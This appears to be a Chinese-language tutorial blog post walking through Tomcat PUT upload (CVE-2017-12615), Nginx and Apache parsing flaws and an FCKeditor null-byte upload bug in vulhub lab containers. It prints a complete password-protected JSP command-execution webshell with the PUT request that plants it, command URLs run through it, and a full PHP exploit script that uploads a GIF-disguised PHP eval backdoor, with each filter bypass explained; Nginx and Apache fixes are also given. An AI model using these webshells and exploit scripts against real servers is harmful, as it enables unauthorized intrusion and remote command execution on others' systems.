一.容器解析漏洞

容器解析漏洞 = Web 服务器(IIS / Nginx / Apache 等)自身的解析逻辑缺陷

服务器在判断一个文件到底是图片 / 静态文件还是脚本文件时,判断规则出错,

本来不应该执行的文件(比如图片 .jpg),错误当成 .php/.asp/.jsp 脚本执行

与文件上传漏洞的区别

可以理解为加固后的文件上传漏洞

1. 漏洞位置不同

  • 容器解析漏洞:服务器软件(IIS/Nginx/Apache)的问题
  • 文件上传漏洞:网站代码(上传逻辑)的问题

2. 上传的文件是否合法

  • 容器解析漏洞:上传的是合法文件(图片、文本),服务器解析出错才执行
  • 文件上传漏洞:上传的是非法脚本文件,服务器正常解析就执行

3. 利用方式不同

  • 容器解析漏洞:传图片马 → 构造特殊 URL → 让服务器认错并执行
  • 文件上传漏洞:直接传脚本马 → 访问就执行

4. 一句话总结区别

  • 文件上传漏洞:允许你上传脚本。
  • 容器解析漏洞:不允许你上传脚本,但你传图片,服务器会把图片当脚本执行。可以理解为加固过的文件上传漏洞

二.容器解析漏洞之Tomcat⽂件解析漏洞

当 Tomcat 运⾏在 Windows 主机上,且启⽤了 HTTP PUT 请求⽅法, 
攻击者将有可能 可通过精⼼构造的攻击请求向服务器上传包含任意代码的 JSP ⽂件。 
之后,JSP ⽂件 中的代码将能被服务器执⾏

我们利用ubuntu_vulhub演示,在里面搭建靶场

1.搭建靶场

这是在root用户下进入这个漏洞,并搭建环境。

然后查看Ubuntu的IP,在浏览器中访问

cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615 
docker-compose build 
docker-compose up -d 
docker-compose config

2.使用BP截包

不用上传任何东西,回车截取,修改包,并发送一个1.jsp文件---Java一句话木马

PUT /1.jsp/ HTTP/1.1
Host: 192.168.248.134:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 398

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
    line.append(temp+"\n");}buf.close();} catch (Exception e) {
    line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

这段一句话木马中间的大多是函数,意思是定义了一个叫 excuteCmd 的函数,作用就是:执行系统命令,并返回结果。

<%
if("023".equals(request.getParameter("pwd")) &&
   !"".equals(request.getParameter("cmd"))){

    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");

} else {
    out.println(":-)");
}
%>

重点是这一段,规定了密码是:023必须携带 pwd=023 才允许执行命令

传入 cmd=命令 就能在服务器执行

不正确 → 只输出一个笑脸 :-),看懂个大概就行

3.发包,拼接命令拿下漏洞,根据自己想要的信息,在后面写入Linux命令

http://192.168.244.4:8080/1.jsp?&pwd=023&cmd=dir
http://192.168.244.4:8080/1.jsp?&pwd=023&cmd=id
http://192.168.244.4:8080/1.jsp?&pwd=023&cmd=ls

这是查看目录

三.容器解析漏洞之Nginx解析漏洞

一样在ubuntu_vulhub里演示

1.删除原有靶场,新建nginx靶场

sudo docker-compose down 
cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability 
docker-compose build 
docker-compose up -d
docker-compose config

2.上传图片马,获取目录路径

3.拼接url路径,得到网站信息

在得到的目录路径下,在后拼接 1.php 文件路径,是任意的php,nginx就会直接将图片当成php文件执行



4.原理及修复

1.原理

Nginx 只检查 URL 后缀是否为 .php,而 PHP 在 fix_pathinfo=1 时会自动向前查找真实存在的文件,两者解析逻辑不一致,导致非 PHP 文件被当作 PHP 执行

2.修复:

最根本修复:关闭 cgi.fix_pathinfo然后重启 php-fpm。

让 PHP 不再自动往前找文件,不存在就直接报错,不会去执行前面的图片。

cgi.fix_pathinfo = 0

四.容器解析漏洞之Apache解析漏洞

Apahe 解析⽂件时候有⼀特性,Apache 默认⼀个⽂件可以有多个以点分割的后缀,apache 会 从最右边开始识别其后缀名,只要⼀个⽂件含有.php 后缀的⽂件即将被识别成 PHP ⽂件,没 必要是最后⼀个后缀。
利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞

1.删除原有靶场,新建apache靶场

sudo docker-compose down 
cd  /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability 
docker-compose build 
docker-compose up -d
docker-compose config

2.上传经过改变的图片马,得到目标路径

3.拼接url,拿到php

4.原理及修复

原理:Apache 会把 文件名。未知后缀 当成 前面的后缀 来解析

修复:Apache 配置拒绝 .php. 格式文件

<FilesMatch "\.php\.">
    Require all denied
</FilesMatch>

五.编辑器漏洞--fckeditor

FCKeditor 编辑器漏洞,核心就是:上传入口没做好校验,被轻松绕过,直接上传木马文件拿到服务器权限

搭建fckeditor靶场,具体因人而异,搭建方法不过多赘述

分两种方法上传,一种是在cmd里面利用命令上传一个木马,另一种是抓包

自动化利用 FCKeditor 空字节截断上传漏洞

在当前的目录下,利用这个强大的fck.php文件做出了所有的防御

可以看到我们生成了一个fuck.php 的文件

我们访问她所给出的目录,拿到了网站

分析:

原理是啊啥呢,就是因为这个强大的fck.php 他是全自动 FCKeditor 漏洞利用工具

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

他做了五种限制,并且能够自动构造一句话木马

1. 绕过 文件后缀拦截(最关键)

$filename = "fvck.gif";

上传文件名写死成 .gif→ 骗过 FCKeditor 图片后缀检查→ 服务器认为你在传图片


2. 绕过 文件类型检测

$payload .= "Content-Type: image/jpeg\r\n\r\n";

HTTP 头里写 image/jpeg→ 骗过 MIME 类型检测→ 服务器认为是图片文件


3. 绕过 文件头检测(图片验证)

$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";

文件开头加 GIF89a→ 骗过 文件头验证→ 服务器认为这是真实 GIF 图片


4. 绕过 目录 / 路径格式拦截

$foldername = "fuck.php%00.gif";

使用 %00 空字节截断→ 绕过 路径后缀过滤→ PHP 解析时自动截断,保存成 .php


5. 绕过 Type=Image 只能传图片的限制

&Type=Image

故意用图片类型上传→ 绕过 FCKeditor 类型权限拦截

6. 自动构造一句话木马

'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'

图片头 + 木马,直接生成可利用后门

抓包利用%00截断,说一下思路

1. 先正常上传,抓一个 “合法包”

2.不改文件名,改路径参数(核心 trick)

3. 把文件内容换成一句话木马

4. 放包,看响应是否上传成功

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐